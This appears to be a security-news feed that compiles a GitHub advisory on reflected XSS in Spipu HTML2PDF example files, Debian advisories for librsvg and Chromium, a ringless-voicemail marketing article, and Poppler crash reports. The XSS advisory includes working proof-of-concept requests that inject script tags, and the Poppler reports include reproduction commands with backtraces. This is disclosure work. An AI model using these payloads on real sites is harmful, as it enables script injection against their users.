Cross Site Scripting vulnerability in Spipu HTML2PDF before v.5.2.8 allows a remote attacker to execute arbitrary code via a crafted script to the forms.php.

**Spipu HTML2PDF vulnerable to cross-site scripting**

Moderate severity GitHub Reviewed Published Aug 28, 2023 to the GitHub Advisory Database • Updated Aug 29, 2023

GHSA-99fg-2h75-m92h: Spipu HTML2PDF vulnerable to cross-site scripting 

**CVE-2023-39062**

Spipu Html2Pdf < 5.2.8 - XSS vulnerabilities in example files.

**Timeline**

*   Vulnerability reported to vendor: 18.07.2023
*   New fixed 5.2.8 version released: 18.07.2023
*   Public disclosure: 23.08.2023

**Description**

Cross-Site-Scripting (XSS) vulnerability in Spipu Html2Pdf example files. This vulnerability allows an attacker to execute untrusted JavaScript code in the context of the currently logged-in user.

The vulnerability exists in any parameter that is passed to the example9.php and forms.php example files.

Example request to forms.php script:

    GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
    Host: example.afine.com
    Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept-Language: pl,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    

Server response:

    HTTP/1.1 200 OK
    Server: Apache
    Content-Length: 2215
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    [...]
    
    <page footer="form">
        <h1>Test de formulaire</h1><br>
        <br>
        <form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
            <input type="hidden" name="test" value="1">
    
    [...]
    

Example request to example9.php script:

    GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
    Host: example.afine.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: pl,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    

Server response:

    HTTP/1.1 200 OK
    Date: Sat, 08 Jul 2023 18:32:51 GMT
    Server: Apache
    X-Powered-By: PHP/7.4.8
    Content-Length: 795
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    [...]
    
    <body>
    <br>
    Ceci est un exemple de génération de PDF via un bouton :)<br>
    <br>
    <img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&amp;py=20" alt="image_php" ><br>
    <br>
    <br>
            <form method="get" action="">
    
    [...]
    

This issue was caused by a lack of sanitization of the provided request parameters. This problem has been fixed in Spipu Html2Pdf version 5.2.8.

**Affected versions**

< 5.2.8

**Advisory**

Update Spipu Html2Pdf to 5.2.8 or newer.

**References**

*   https://github.com/spipu/html2pdf/blob/92afd81823d62ad95eb9d034858311bb63aeb4ac/CHANGELOG.md
*   https://nvd.nist.gov/vuln/detail/CVE-2023-39062

CVE-2023-39062: GitHub - afine-com/CVE-2023-39062: Spipu Html2Pdf < 5.2.8 - XSS vulnerabilities in example files

Debian Linux Security Advisory 5484-1 - Zac Sims discovered a directory traversal in the URL decoder of librsvg, a SAX-based renderer library for SVG files, which could result in read of arbitrary files when processing a specially crafted SVG file with an include element.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5484-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoAugust 27, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : librsvgCVE ID         : CVE-2023-38633Debian Bug     : 1041810Zac Sims discovered a directory traversal in the URL decoder of librsvg,a SAX-based renderer library for SVG files, which could result in readof arbitrary files when processing a specially crafted SVG file with aninclude element.For the oldstable distribution (bullseye), this problem has been fixedin version 2.50.3+dfsg-1+deb11u1.For the stable distribution (bookworm), this problem has been fixed inversion 2.54.7+dfsg-1~deb12u1.We recommend that you upgrade your librsvg packages.For the detailed security status of librsvg please refer to its securitytracker page at:https://security-tracker.debian.org/tracker/librsvgFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmTrXKhfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0TYkg//Q+FWCbAqpcLPI+InN0nga0wROM6JVxX3CVPTg6/4U0XKjPRmx4wlX6RvRPk1n4M8I7pjdtXT1PfdVsXpwT1+mFewUkOb4aLkuX5+0NOJbxAS6L6Oo1jNs4r0PJYPcda7edePoIScJ2vH14/yhJs+7ROV3hI0to5CpxT5KejGLTbkhWSs79YMvHxZBPLcSE/NDOCkDzlJ1aVBndmvgqQGujN7hvjynIi8IGEXrPAofqHO1pfVGtBWtK5oajXwxdAU2t0+wy4Lc0U2NPDF6r9QIeZidamJ0yfgPbuiU4WCx1lbkCAMG4Bf6m5S4JqbQmgc+rZCBHy3zaKlipFOEyPe2tfrcvH8zljRXSiKL5P0zMwVeYIRsQj3lUvPge+xV8Gqod99uv4fgN19OWvcP5HOiXxQnkRtReYiQgKut8W0HAXydCsrctAB2XvprYIbsnR1lU8dBAaLqnC/nwrsLVLUv7y1oKDDNjXmNT/aF/ISVF70WVywQK/LbhXIyECoGe+TeoxGjCjT+N/PibL3pMIZ/c8ZLMyH+2+Ad/oD614hPVbe7CUmRCX7Vz2ax8v47b4JY2skki9XdASkKsyvBq9Xus6ZY04D0tTj87wF0Vr4iBAbnFWSJnw2tFVLwn7/ncNkpU/MONR8CAPvhgBc8n/nfF9Fbg6ubEeAHdzlp8EOom8==uwUe-----END PGP SIGNATURE-----

Debian Security Advisory 5484-1

Debian Linux Security Advisory 5483-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5483-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 25, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2023-4427 CVE-2023-4428 CVE-2023-4429 CVE-2023-4430                  CVE-2023-4431Multiple security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the oldstable distribution (bullseye), these problems have been fixedin version 116.0.5845.110-1~deb11u1.For the stable distribution (bookworm), these problems have been fixed inversion 116.0.5845.110-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTo/EsACgkQEMKTtsN8TjZcVA//SJ88YLHY0KVBwr1CrQJPHHMeP5gyq80A/LRLf7kNco7jcHfZyiR8LB7V4eo62Um8dCpwzSHRqc73Jx580nn5tW310c3C7LQqVPOu0YBmslLkGstXQmR19mHSZkwGGukYMhoNw/ijfAceRjI2ivCnX1MrZyxb6cRH5vJ4Q0KDkSmCi0l2Luv5NHKYTQgprg4u9ls6OtTPu7BiyRClCJmoqrGvizfKSdVjwVdqrckRzZSmKagiXVpsnZacb8LnBluAyUkzPwC+f3Z9RZsDYzC2BeRn6qPhnRCM3C5LWxMAoypoP1Pv15rHz4qQa/pDFl6kiG1W9HD83UgrY0u32MmBgcCoI6c4nQ32Vk3Z+N+ZHO3kECm/Z7mGTLHXrHk4+jgXJV5TE1vnKNypKh7J6JewVFJxMg8Rw4gMRcod3zMNfBe1q9F39NbSRk0F/5LMfTOKZuZmLTuzX/wV3z6B6I1GoFQx7yw9w3vJ9095hdxWxGstedCSv4uinmPfoEzgCiQjRm828sO1Qzfnv+ukgMruhlFc15tbKdLJGu1mflu7AGURs5s1Q1RPMAZbTFcQ8zb7N/PXyiW2VKERuKRKI0+pjLGSoq7W9RU2Er7Mj9huq0T0xpjAkoR1L+nGXvENDNYNg3Yl4eMhHVnP0UzT37F3GEFEfmgAnlL1ziqypGjHvA0==/urs-----END PGP SIGNATURE-----

Debian Security Advisory 5483-1

By Owais Sultan
Ringless voicemail (RVM) is a technology that allows businesses to deliver pre-recorded messages directly to a customer's voicemail inbox without their phone ringing.
This is a post from HackRead.com Read the original post: Beyond Cold Calls: Ringless Voicemail As A Personalized Customer Engagement Tool

In the world of sales and marketing, cold calling (PDF) has long been a staple technique for acquiring new customers and generating leads. However, as the market becomes more saturated and sales teams try to reach customers across multiple channels, traditional cold calling has become less effective and frustrating for businesses and potential clients. For many, it’s time to move beyond cold calls and explore other options.

One such alternative that has gained popularity in recent years is ringless voicemail (RVM). This technology allows businesses to leave a message directly in a customer’s voicemail box without the phone ever ringing. With RVM, businesses can overcome some of the challenges and limitations of traditional cold calling, including time constraints, gatekeepers, and customer resistance. 

In this article, we’ll explore the benefits and use cases of RVM as a personalized customer engagement tool and examine why it’s becoming a standard practice in the sales and marketing landscape.

****What Is Ringless Voicemail (RVM)?****

Ringless voicemail (RVM) is a technology that allows businesses to deliver pre-recorded messages directly to a customer’s voicemail inbox without their phone ringing. Unlike traditional cold calls, RVM bypasses the need for a live conversation with the customer and instead delivers a personalized message that can be listened to at the customer’s convenience.

From a technical standpoint, when a business wants to send an RVM, a service provider calls the customer’s phone carrier and transfers the message payload directly into the voicemail system without causing the phone to ring. This technology leverages the voicemail infrastructure of cellular networks and serves as an efficient and effective means of reaching customers.

However, it’s important to note that the legality and regulations surrounding RVM vary by country and jurisdiction. In some regions, explicit consent from the recipient may be required, and there are specific guidelines on who can be contacted and for what purposes. Businesses utilizing RVM must familiarize themselves with the laws and regulations in their target markets to ensure compliance and maintain a positive reputation.

When comparing RVM to traditional voicemail drops, there is a clear distinction. Traditional voicemail drops involve manually dialling a phone number and leaving a live voice message when the call goes to voicemail. This method can be time-consuming and prone to errors. RVM, on the other hand, automates the process, allowing businesses to reach more customers quickly and efficiently.

Additionally, RVM provides the option to deliver a pre-recorded, polished message that can be carefully crafted and personalized for each recipient, maximizing the impact of the engagement. 

To know more about this, watch this brief video about RVMs:

**Advantages Of RVM Over Cold Calling**

In customer engagement, ringless voicemail (RVM) offers many advantages over traditional cold calling techniques. By leveraging RVM as a personalized customer engagement tool, businesses can reap the following benefits:

**Higher Engagement**: One of the key advantages of RVM is that it allows potential customers to listen to the message at their convenience. Unlike cold calling, which often interrupts busy schedules, meals, or important meetings, RVM allows customers to engage with the message when they have the time and inclination. This higher level of engagement increases the likelihood that the recipient will hear and consider the message.

**Less Intrusive**: Another advantage of RVM is that it is less intrusive than cold calling. Instead of interrupting people’s lives and demanding immediate attention, RVM respects their time. By delivering a voicemail directly to their inbox without their phone ever ringing, RVM allows customers to engage with the message on their terms, creating a more positive and less intrusive experience.

**Flexibility**: RVM allows businesses to tailor messages for specific demographics or target markets. Through RVM, businesses can create personalized and customized messages that resonate with their audience. Whether it’s adapting the tone, language, or content of the voicemail, RVM allows for a more targeted approach, increasing the effectiveness of the engagement and the chances of a positive response.

**Cost-effective**: Besides its convenience and effectiveness, RVM is also a cost-effective customer engagement tool. It often proves cheaper than traditional calling methods since it streamlines the process and eliminates the need for live customer conversations. With RVM, businesses can reach more potential customers in less time, thus maximizing their resources and ensuring a higher return on investment.

By capitalizing on the advantages of RVM over cold calling, businesses can enhance their customer engagement strategies and achieve higher levels of success in their sales and marketing efforts.

**Personalization With RVM**

Personalization is crucial in customer interactions in today’s competitive business landscape. It goes beyond the generic approach of mass communication. It aims to create tailored experiences that resonate with individuals more deeply. Ringless voicemail (RVM) offers businesses a unique opportunity to personalize customer engagement more meaningfully. Here are some tips for creating personalized RVMs:

**Segmenting your audience**: To effectively personalize your RVMs, start by segmenting your audience based on specific criteria such as demographics, behaviour, or preferences. By understanding your audience’s unique needs and interests, you can craft messages tailored to resonate with each segment. This segmentation allows you to deliver more targeted and relevant messages, increasing the likelihood of customer engagement.

**Crafting a compelling story or offer**: To capture your audience’s attention and create a personalized experience, crafting a compelling story or offer within your RVM is essential. Use storytelling techniques to make an emotional connection, address customer pain points, and demonstrate how your product or service can provide a solution. Focusing on the customer’s perspective and presenting a compelling value proposition can make your RVMs more engaging and persuasive.

**Including a clear call-to-action**: A clear and concise call-to-action is critical in any customer engagement strategy, including RVM. Communicate the next steps you want your customers to take, whether visiting a website, calling a specific number, or replying to the voicemail. Ensure the call-to-action is easy to understand and straightforward, guiding the recipient toward the desired outcome. This personalized prompt encourages immediate action and enhances the effectiveness of your RVM campaign.

**A/B testing different messages**: A/B testing is valuable for optimizing your RVM campaigns. Create variations of your messages, testing different approaches, content, and offers to see which performs best. You can identify what resonates most with your audience by comparing different messages’ responses and conversion rates. A/B testing allows you to refine and improve your RVMs continuously, resulting in more personalized and effective customer engagements.

You can create engaging and impactful customer interactions by prioritizing personalization in your RVM campaigns and implementing these tips. Personalization with RVM enhances customer experiences and increases the likelihood of achieving your marketing and sales goals.

**Best Practices For Using RVM As A Customer Engagement Tool**

As with any marketing or sales strategy, it’s important to follow best practices to ensure effective customer engagement and avoid potential issues. Here are some best practices for using RVM as a customer engagement tool:

**Respect Regulations**: Adhere to local and national telemarketing rules, including the National Do Not Call Registry in the United States and similar regulations in other countries. Failure to comply with these regulations can result in legal issues and damage your reputation.

**Be Brief and Clear**: Keep your RVM messages concise, clear, and concise. Respect the listener’s time by getting to the message quickly and delivering it articulately and engagingly. Avoid rambling or repeating your message, leading to disengagement and opt-outs.

**Offer Value**: Ensure that your RVM messages clearly benefit your recipients. Make it obvious that you’re providing something of value to them, whether it’s a special offer, exclusive content, or important information. Show your recipients that you care about their needs and that the RVM messaging is designed to help them.

**Opt-out Option**: Always provide a way for recipients to opt out of future messages. This demonstrates your respect for your customers’ privacy and preferences and helps reduce the likelihood of negative reviews or complaints. This can be as simple as including an option for recipients to unsubscribe from future messages or providing clear instructions for opting out.

**Frequency**: Be mindful of how often you reach out to your recipients through RVMs. Bombarding them with too many messages too frequently can be overwhelming and off-putting. Strike a balance between communicating consistently enough to stay top of mind but not so frequently as to become spammy. Always consider the value you deliver with each message, and ensure it’s worth the contact.

By following these best practices, businesses can use RVM as an effective and valuable customer engagement tool, enhancing customer relationships and driving growth in their operations.

**Potential Pitfalls And Concerns**

While ringless voicemail (RVM) can be a powerful tool for personalized customer engagement, it is important to know the potential pitfalls and concerns associated with its use. Here are some key considerations to keep in mind:

**Privacy concerns and public perception**: RVM operates within direct marketing, which can raise privacy concerns among consumers. Some individuals may view unsolicited voicemails as an intrusion into their personal space. Handling personal information responsibly and with the utmost respect for privacy is crucial. Be transparent about how you obtained recipient information and ensure that your messaging aligns with their expectations.

**Risks of spammy or excessive messaging**: One of the main challenges with RVM is avoiding the perception of spam or excessive messaging. Bombarding customers with too many voicemails without providing value can lead to frustration and negative brand perception. Strive for a balanced approach that delivers meaningful, personalized messages without overwhelming your audience. Optimize your RVM campaign by considering your communications’ appropriate frequency and relevance.

**Importance of targeting the right audience**: Targeting the right audience is crucial for the success of any customer engagement strategy, including RVM. Sending irrelevant messages to the wrong audience wastes resources and damages your campaign’s effectiveness. Take the time to segment your audience based on relevant criteria and tailor your RVMs to speak directly to their needs and interests. Increasing the relevancy of your communications enhances the likelihood of positive customer responses.

**Ensuring compliance with telemarketing laws**: Compliance with telemarketing laws and regulations is essential when using RVM. Different regions and countries may have specific rules and regulations for unsolicited communication. Familiarize yourself with and adhere to these laws, such as obtaining the necessary permissions or honouring do-not-call lists. Non-compliance can lead to legal issues, financial penalties, and detriment to your brand reputation.

By being mindful of these potential pitfalls and concerns, businesses can proactively mitigate risks and ensure a positive customer and brand experience. Adopting ethical practices, respecting privacy, and complying with relevant regulations are key to maintaining trust in your customer engagement efforts with RVM.

**The Future Of RVM And Customer Engagement**

Ringless voicemail (RVM) has proven to be a valuable tool for personalized customer engagement, and its potential continues to expand as technology advances. Here are some potential developments and predictions on the future of RVM and its role in customer engagement:

**Integration with other marketing strategies (e.g., SMS, email)**: RVM can be integrated with other marketing strategies such as SMS and email to create a multi-channel approach. By using RVM alongside other channels, businesses can maximize their reach and improve the effectiveness of their campaigns. Using an omnichannel strategy enables businesses to provide a seamless and consistent experience that customers increasingly expect.

**The role of AI and machine learning in automating and optimizing RVM**: With artificial intelligence (AI) and machine learning (ML), businesses can automate and optimize their RVM campaigns. Using data analysis to identify customer patterns and preferences, AI can help personalize RVM messages according to specific audiences and interests. Integration with other marketing channels can also enhance automation, making processes more efficient and effective.

**Predictions on the evolution of RVM as a communication tool**: As RVM evolves, it will likely become even more intelligent and interactive. There could be an increasing emphasis on the customization of RVMs, bringing customers even more relevance and personalization. Another possibility is that RVMs would allow direct engagement beyond just voicemail, with the ability to respond to customer feedback or inquiries via voice commands. Also, expansion into new territories may lead to new legal challenges and compliance considerations, especially as global data privacy laws become increasingly stringent.

With various advancements and changes on the horizon, RVM remains an exciting area for businesses to explore to engage their audience. Leveraging cutting-edge technologies alongside the best customer engagement and communication practices can lead to highly effective and innovative campaigns.

**Conclusion**

In the evolving customer engagement landscape, Ringless Voicemail (RVM) emerges as a potent tool, transcending the boundaries set by traditional cold calls. Its ability to offer a personalized touch while respecting the recipient’s time and space makes it an invaluable asset in the marketer’s toolkit.

As businesses strive to stay ahead of the curve, integrating RVM into one’s marketing arsenal could be the game-changing move they need. To all our readers, it’s time to reflect on your current strategies and ponder how RVM can be woven into your tapestry of customer outreach. The future of engagement beckons, and it might be ringless.

Beyond Cold Calls: Ringless Voicemail As A Personalized Customer Engagement Tool

An issue was discovered in Poppler 22.07.0. There is a reachable abort which leads to denial of service because the main function in pdfunite.cc lacks a stream check before saving an embedded file.

When testing #706 (closed), we found the bug is not completely patched in pdfunite. To reproduce the bug, run pdfunite t.pdf poc 2.pdf.

    (gdb) bt
    #0  0x00007ffff72467bb in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7231535 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x000000000040d7a1 in Object::getDict (this=<optimized out>)
        at /home/users/chluo/poppler/poppler/Object.h:435
    #3  main (argc=<optimized out>, argv=<optimized out>)
        at /home/users/chluo/poppler/utils/pdfunite.cc:200

uni.zip

Edited Jul 28, 2022 by

CVE-2022-37051: SIGABRT at poppler/Object.h:435 (pdfunite) (#1276) · Issues · poppler / poppler · GitLab

A reachable Object::getString assertion in Poppler 22.07.0 allows attackers to cause a denial of service due to a failure in markObject.

We are currently migrating away from gitlab hosting cloud for the registry. There will be a final maintenance down time on Sunday 27th August, from approx 8-12am UTC. See the tracker issue for more informations. Note that the registry will see a brief outage, and potentially lag between uploads and availability during that window.

CVE-2022-37052: pdfseparate: Account for XRef::add failing because we run out of memory (86775003) · Commits · poppler / poppler · GitLab

In Poppler 22.07.0, PDFDoc::savePageAs in PDFDoc.c callows attackers to cause a denial-of-service (application crashes with SIGABRT) by crafting a PDF file in which the xref data structure is mishandled in getCatalog processing. Note that this vulnerability is caused by the incomplete patch of CVE-2018-20662.

Hi, we found a bug in the latest version of poppler (commit b9643712), the bug causes the program to crash with the following backtrace.

To reproduce it, run pdfseparate poc 1.pdf

    (gdb) bt
    #0  0x00007ffff72467bb in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7231535 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7bee76f in Object::getDict (this=<optimized out>)
        at /home/users/chluo/poppler/poppler/Object.h:435
    #3  PDFDoc::savePageAs (this=0x466e10, name=..., pageNo=1)
        at /home/users/chluo/poppler/poppler/PDFDoc.cc:889
    #4  0x0000000000408659 in extractPages (srcFileName=<optimized out>,
        destFileName=0x7fffffffe6eb "./1.pdf")
        at /home/users/chluo/poppler/utils/pdfseparate.cc:123
    #5  main (argc=<optimized out>, argv=<optimized out>)
        at /home/users/chluo/poppler/utils/pdfseparate.cc:156

sep.zip

Seems that this bug is related to #706 (closed). 7b4e372d partially fixes #706 (closed) yet it is incomplete.

Edited Jul 27, 2022 by

CVE-2022-37050: SIGABRT at poppler/Object.h:435 (#1274) · Issues · poppler / poppler · GitLab

Uncontrolled Recursion in pdfinfo, and pdftops in poppler 0.89.0 allows remote attackers to cause a denial of service via crafted input.

We are currently migrating away from gitlab hosting cloud for the registry. There will be a final maintenance down time on Sunday 27th August, from approx 8-12am UTC. See the tracker issue for more informations. Note that the registry will see a brief outage, and potentially lag between uploads and availability during that window.

*   poppler
*   poppler
*   Issues
*   #936

I find an overflow in XRef, which is caused by mutual recursive call.

./pdfinfo ./xref.pdf

xref.zip

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information

CVE-2020-23804: Overflow in Xref (#936) · Issues · poppler / poppler · GitLab

An issue was discovered in Poppler 22.08.0. There is a reachable assertion in Object.h, will lead to denial of service because PDFDoc::replacePageDict in PDFDoc.cc lacks a stream check before saving an embedded file.

Hi, we found a bug in poppler/PDFDoc.cc:1755. When the bug is triggered, the program would crash with the following backtrace.

To reproduce, run pdfunite t.pdf poc 2.pdf

    (gdb) bt
    #0  0x00007ffff745f8c1 in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7449546 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7a5eb18 in Object::getDict (this=0x7fffffffe0c8)
        at /home/users/chluo/pop/poppler/Object.h:435
    #3  PDFDoc::replacePageDict (this=0x5555555bb430, pageNo=<optimized out>,
        rotate=90, mediaBox=0x5555555e3b50, cropBox=0x5555555e3b70)
        at /home/users/chluo/pop/poppler/PDFDoc.cc:1755
    #4  0x000055555555c9fa in main (argc=<optimized out>, argv=<optimized out>)
        at /home/users/chluo/pop/utils/pdfunite.cc:290

The bug is relevant to #706 (closed) and #1276 (closed).

poc.zip

Tag

#pdf